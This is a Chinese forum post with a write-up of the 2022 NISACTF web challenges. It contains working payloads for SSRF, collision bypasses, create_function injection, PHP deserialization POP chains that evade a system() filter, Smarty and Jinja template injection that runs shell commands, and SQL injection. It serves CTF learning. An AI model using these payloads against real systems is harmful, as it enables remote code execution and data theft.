2022NISACTF--WEB

打印 上一主题 下一主题

主题 649|帖子 649|积分 1947

easyssrf

打开题目,显示的是

尝试输入, 发现输入flag有东西

读取文件

访问下一个网站

读取文件 不能以file开头  直接伪协议,base64解码

checkIn

奇怪的unicode编码
当选中左边的时候右边也会被选中

我们在vscode看看 这样的额

展示的是UTF-16 三位16进制 转化一下UTF-8
  1. U+202E 0xE2 0x80 0xAE   %E2%80%AE
  2. U+2066 0xE2 0x81 0xA6   %E2%81%A6
  3. U+2069 0xE2 0x81 0xA9   %E2%81%A9
复制代码
调整一下就好了
payload
  1. ahahahaha=jitanglailo&%E2%80%AE%E2%81%A6Ugeiwo%E2%81%A9%E2%81%A6cuishiyuan=%E2%80%AE%E2%81%A6 Flag!%E2%81%A9%E2%81%A6N1SACTF
复制代码

level-up

考点 hash强碰撞  parse_url函数漏洞   create_funcion函数代码执行
打开题目,查看源码

disallow 一般robots.txt里会有  查看一下,进入第二关

第二关 md5 碰撞绕过
  1. array1=abc%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%D6%16y%AC%CE%C5%A1LrY5fn%94%10%D9%01%C3%AC%F8%AAN%21%D0%27%BE%3Ej%A7%22%0C%D08%D3%AF%DFRo%2F%A4%8B%E8%EB45j%E4h%9C%21%22%AB%7E%BC%8E%7C%17%9E%C3Xg%D7%A8%CDHt%BE%AB.%2FWb%3Eb%EA%FC%261%0F_%3D%AFo%3F%1E%DE%E8i%86%7D%BF%C7_Q%CDA%B4%CF%B8n%06Ir%7F%5C%A3k%F9%2AO%DFF%2A%F3%8BcH%FF%85%3F%0D%D0%9B%C7%C8-%12%92
  2. array2=abc%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%D6%16y%AC%CE%C5%A1LrY5fn%94%10%D9%01%C3%ACx%AAN%21%D0%27%BE%3Ej%A7%22%0C%D08%D3%AF%DFRo%2F%A4%8B%E8%EB45%EA%E4h%9C%21%22%AB%7E%BC%8E%7C%17%9E%C3%D8g%D7%A8%CDHt%BE%AB.%2FWb%3Eb%EA%FC%261%0F_%3D%AFo%BF%1E%DE%E8i%86%7D%BF%C7_Q%CDA%B4%CF%B8n%06Ir%7F%5C%A3k%F9%2A%CF%DEF%2A%F3%8BcH%FF%85%3F%0D%D0%9BG%C8-%12%92
复制代码
进入第三关
  1. array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1
  2. array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
复制代码
进入第四关

先了解一下parse_url函数:解析 URL,返回其组成部分

  • scheme - 如 http
  • host
  • port
  • user
  • pass
  • path
  • query  - 在问号 ? 之后
  • fragment -  在散列符号 # 之后
方法一、php传参解析:不规范的被转化为_;NI+ => NI_
方法二、parse_url函数漏洞
  1. http://xxxx/xx.php?xx=xx   解析的query  为xx=xx
  2. http://xxxx///xx.php?xx=xx 解析的query  为NULL 就是解析不到query
复制代码
进入第五关

ok 这个形式 形似之前我做的笔记,第二个参数会被当作命令执行

考点应该是 create_function 方法
分析该正则
  1. if(preg_match('/^[a-z0-9_]*$/isD',$a)){
  2.     show_source(__FILE__);
  3. }
复制代码
  1. /i不区分大小写
  2. /s匹配任何不可见字符,包括空格、制表符、换页符等等,等价于[fnrtv]
  3. /D如果使用$限制结尾字符,则不允许结尾有换行;
  4. 意思就是 匹配字母数字下划线开头的字符
  5. 我们需要找到一个不以数字,字母,下划线等开头的value,同时可以正常执行函数
  6. 可以是fuzz找 就是 ascii码32-126作为第一个参数 发请求 看响应
  7. 找到的是 \ 也就是 %5c
复制代码
构造一下
  1. a=\create_function&b=;}phpinfo();/*
复制代码


babyupload

考点:python的os.path函数漏洞
查看源码

访问 下载源码
Flask写的后端,上传的文件名不能有.  返回一个路径

拼接路径 读取文件

os.path漏洞

所以说
  1. os.path("upload/",'/flag') => os.path('/flag')
复制代码
一般来讲 flag都是在根目录下载flag  特别是这样的考点
上传的文件名为 /flag  就会读取内容


bingdundun~

考点:phar伪协议读取压缩文件
打开题目

说的可以上传压缩包,我们制造一个压缩包木马 然后 phar 读取试试
这里刚开始上传rar不可以 上传的zip
  1. 写木马=>压缩成zip
复制代码

执行成功,寻找flag

babyserialize

考点:反序列POC构造  system绕过
一眼反序列化  打开题目为源码
  1. include "waf.php";
  2. class NISA{
  3.     public $fun="show_me_flag";
  4.     public $txw4ever;
  5.     public function __wakeup()
  6.     {
  7.         if($this->fun=="show_me_flag"){
  8.             hint();
  9.         }
  10.     }
  11.     function __call($from,$val){
  12.         $this->fun=$val[0];
  13.     }
  14.     public function __toString()
  15.     {
  16.         echo $this->fun;
  17.         return " ";
  18.     }
  19.     public function __invoke()
  20.     {
  21.         checkcheck($this->txw4ever);
  22.         @eval($this->txw4ever);
  23.     }
  24. }
  25. class TianXiWei{
  26.     public $ext;
  27.     public $x;
  28.     public function __wakeup()
  29.     {
  30.         $this->ext->nisa($this->x);
  31.     }
  32. }
  33. class Ilovetxw{
  34.     public $huang;
  35.     public $su;
  36.     public function __call($fun1,$arg){
  37.         $this->huang->fun=$arg[0];
  38.     }
  39.     public function __toString(){
  40.         $bb = $this->su;
  41.         return $bb();
  42.     }
  43. }
  44. class four{
  45.     public $a="TXW4EVER";
  46.     private $fun='abc';
  47.     public function __set($name, $value)
  48.     {
  49.         $this->$name=$value;
  50.         if ($this->fun = "sixsixsix"){
  51.             strtolower($this->a);
  52.         }
  53.     }
  54. }
  55. if(isset($_GET['ser'])){
  56.     @unserialize($_GET['ser']);
  57. }else{
  58.     highlight_file(__FILE__);
  59. }
  60. ?>
复制代码
一步一步的分析
  1. # 这里可以先看看提示
  2. public function __wakeup()
  3. {
  4.     if($this->fun=="show_me_flag"){
  5.         hint();
  6.     }
  7. }
  8. # 构造
  9. ?ser=O:4:"NISA":2:{s:3:"fun";s:12:"show_me_flag";s:8:"txw4ever";N;}
复制代码

然后接着分析 先找到目的地
  1. # NISA类的
  2. # __invoke以函数的形式调用对象时触发
  3. public function __invoke()
  4. {
  5.     checkcheck($this->txw4ever);
  6.     @eval($this->txw4ever);
  7. }
  8. # 发现  Ilovetxw类有
  9. # $this->su=new NISA();
  10. # __toString 将对象当作字符串处理的时候触发
  11. public function __toString(){
  12.     $bb = $this->su;
  13.     return $bb();
  14. }
  15. # 发现了两处
  16. # 1.NISA类的
  17. public function __wakeup()
  18. {
  19.     if($this->fun=="show_me_flag"){
  20.         hint();
  21.     }
  22. }
  23. # 2.four类的
  24. public function __set($name, $value)
  25. {
  26.     $this->$name=$value;
  27.     if ($this->fun = "sixsixsix"){
  28.         strtolower($this->a);
  29.     }
  30. }
复制代码
我们先根据第一处构造POC
  1. class NISA{
  2.     public $fun;
  3.     public $txw4ever;
  4. }
  5. class Ilovetxw{
  6.     public $huang;
  7.     public $su;
  8. }
  9. $a = new NISA();
  10. $b = new Ilovetxw();
  11. $b->su = $a;
  12. $a->txw4ever = "phpinfo();";
  13. $a->fun = $b;
  14. echo((serialize($a)));
复制代码
说明是对的不过被waf挡住了而已

过滤了system
  1. 命令执行函数system()绕过
  2. "\x73\x79\x73\x74\x65\x6d"("cat%20/flag");
  3. (sy.(st).em)(whoami);
复制代码

最终的POC
  1. class NISA{
  2.     public $fun;
  3.     public $txw4ever;
  4. }
  5. class Ilovetxw{
  6.     public $huang;
  7.     public $su;
  8. }
  9. $a = new NISA();
  10. $b = new Ilovetxw();
  11. $b->su = $a;
  12. $a->txw4ever = '"\x73\x79\x73\x74\x65\x6d"("cat /f*");';
  13. $a->fun = $b;
  14. echo((serialize($a)));
复制代码
第二处构造POC
  1. # NISA类的
  2. # __invoke以函数的形式调用对象时触发
  3. public function __invoke()
  4. {
  5.     checkcheck($this->txw4ever);
  6.     @eval($this->txw4ever);
  7. }
  8. # 发现  Ilovetxw类有
  9. # $this->su=new NISA();
  10. # __toString 将对象当作字符串处理的时候触发
  11. public function __toString(){
  12.     $bb = $this->su;
  13.     return $bb();
  14. }
  15. # 2.four类的
  16. # __set给不可访问 不存在的属性赋值时触发
  17. # $this->a=new Ilovetxw();
  18. public function __set($name, $value)
  19. {
  20.     $this->$name=$value;
  21.     if ($this->fun = "sixsixsix"){
  22.         strtolower($this->a);
  23.     }
  24. }
  25. # Ilovetxw类的
  26. # $this->huang=new four();
  27. # __call调用不存在的方法触发
  28. public function __call($fun1,$arg){
  29.     $this->huang->fun=$arg[0];
  30. }
  31. # TianXiWei类的
  32. #  $this->ext=new Ilovetxw();
  33. public function __wakeup()
  34. {
  35.     $this->ext->nisa($this->x);
  36. }
复制代码
合起来构造
  1. class NISA{
  2.     public $fun;
  3.     public $txw4ever;
  4. }
  5. class TianXiWei{
  6.     public $ext;
  7.     public $x;
  8. }
  9. class Ilovetxw{
  10.     public $huang;
  11.     public $su;
  12. }
  13. class four{
  14.     public $a;
  15.     private $fun;
  16. }
  17. $a=new TianXiWei();
  18. $b=new Ilovetxw();
  19. $c=new four();
  20. $d=new NISA();
  21. $a->ext=$b;
  22. $b->huang=$c;
  23. $c->a=$b;
  24. $b->su=$d;
  25. $d->txw4ever="system('ls');";
  26. echo urlencode(serialize($a));
复制代码
也是成功的

绕过
  1. class NISA{
  2.     public $fun;
  3.     public $txw4ever;
  4. }
  5. class TianXiWei{
  6.     public $ext;
  7.     public $x;
  8. }
  9. class Ilovetxw{
  10.     public $huang;
  11.     public $su;
  12. }
  13. class four{
  14.     public $a;
  15.     private $fun;
  16. }
  17. $a=new TianXiWei();
  18. $b=new Ilovetxw();
  19. $c=new four();
  20. $d=new NISA();
  21. $a->ext=$b;
  22. $b->huang=$c;
  23. $c->a=$b;
  24. $b->su=$d;
  25. $d->txw4ever="(sy.(st).em)('cat /f*');";
  26. echo urlencode(serialize($a));
复制代码

midlevel

考点:Smarty SSTI
打开题目显示了IP  肯定时根据xff显示的IP 所以我们的可控点就是xff   来到最后看到


使用的是Smarty模板  考虑服务器模板注入
Smarty的注入方式{if phpinfo()}{/if} 尝试一下
<img alt="image-20221030160247518" loading="lazy">
OK 已经出答案了
  1. X-Forwarded-For:{if system('nl /f*')}{/if}
复制代码


join-us

考点:join using 无列名注入
访问登录页面,看到一个cat u get flag 输入框 试试sql注入
有报错信息

黑名单
  1. by updatexml database union columns = substr
复制代码

爆数据库名
这里一步一步的测试过滤什么的时候,发现了 泄露了表的名称
在查询是 如果查询的列不存在 并且 没有关闭报错信息 可以查询一个不存在的列 这样会报错

爆表名
方法一、brup爆破
这里忘记了考虑 过滤= like替换了 直接爆破 一般我们创建的表都是在最后的


方法二、like替换=

join using 爆破列名

查出来Fal_flag有以下三列
  1. id
  2. data
  3. i_tell_u_this_is_Fal(se)_flag_is_in_another
  4. 1'or/**/extractvalue(1,concat(0x7e,(select * from(select * from Fal_flag a join Fal_flag b using(id,data,i_tell_u_this_is_Fal(se)_flag_is_in_another))c),0x7e))--+
复制代码
提示不在这个表中 去看另外一个表


  1. {3bfb0ba4-dac9-425a-9e0f-cf2672d7afdd}
复制代码
或者查data,结果都是一样的,配个mid 显示后面的

is secret

考点:RC4、SSTI
打开之后 这样,让我们发现secret
尝试 传参 /secret 等等 发现是/secret

页面:

意思就是给他secret 它返回加密的内容

看 第一个加密时字母 其余的不可见 猜测可能加密的字符长度受限  试试看
果然 泄露了敏感信息 分析一下

  • RC4 解密 密钥是 HereIsTreasure
  • render_template_string 渲染 存在 SSTI  python的

找一个RC4加密的脚本
  1. import base64
  2. from urllib import parse
  3. def rc4_main(key="init_key", message="init_message"):  # 返回加密后得内容
  4.     s_box = rc4_init_sbox(key)
  5.     crypt = str(rc4_excrypt(message, s_box))
  6.     return crypt
  7. def rc4_init_sbox(key):
  8.     s_box = list(range(256))
  9.     j = 0
  10.     for i in range(256):
  11.         j = (j + s_box[i] + ord(key[i % len(key)])) % 256
  12.         s_box[i], s_box[j] = s_box[j], s_box[i]
  13.     return s_box
  14. def rc4_excrypt(plain, box):
  15.     res = []
  16.     i = j = 0
  17.     for s in plain:
  18.         i = (i + 1) % 256
  19.         j = (j + box[i]) % 256
  20.         box[i], box[j] = box[j], box[i]
  21.         t = (box[i] + box[j]) % 256
  22.         k = box[t]
  23.         res.append(chr(ord(s) ^ k))
  24.     cipher = "".join(res)
  25.     return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
  26. key = "HereIsTreasure"  # 此处为密文
  27. message = input("请输入明文:\n")
  28. enc_base64 = rc4_main(key, message)
  29. enc_init = str(base64.b64decode(enc_base64), 'utf-8')
  30. enc_url = parse.quote(enc_init)
  31. print("rc4加密后的url编码:" + enc_url)
  32. # print("rc4加密后的base64编码"+enc_base64)
复制代码
运行RC4 加密
  1. {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
复制代码

ls换成cat /flag.txt
  1. {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /f*').read()")}}{% endif %}{% endfor %}
复制代码

popchains

考点:反序列化链子构造、flag藏得位置
  1. class Road_is_Long{
  2.     public $page;
  3.     public $string;
  4.     public function __construct($file='index.php'){
  5.         $this->page = $file;
  6.     }
  7.     //3.$this->string=new  Make_a_Change
  8.     // 把实例当作字符串处理触发
  9.     public function __toString(){
  10.         return $this->string->page;
  11.     }
  12.     public function __wakeup(){
  13.         // 这里
  14.         if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
  15.             echo "You can Not Enter 2022";
  16.             $this->page = "index.php";
  17.         }
  18.     }
  19. }
  20. class Try_Work_Hard{
  21.     protected  $var;
  22.     # 终点
  23.     public function append($value){
  24.         include($value);
  25.     }
  26.     # 1.调用终点   __invoke 以函数形式调用时触发
  27.     public function __invoke(){
  28.         $this->append($this->var);
  29.     }
  30. }
  31. class Make_a_Change{
  32.     public $effort;
  33.     public function __construct(){
  34.         $this->effort = array();
  35.     }
  36.        
  37.     public function __get($key){
  38.         // 2.  $this->effort=new Try_Work_Hard();
  39.         //  __get 访问不存在 不可访问的属性触发
  40.         $function = $this->effort;
  41.         return $function();
  42.     }
  43. }
复制代码
构造的POC
[code]

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

半亩花草

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表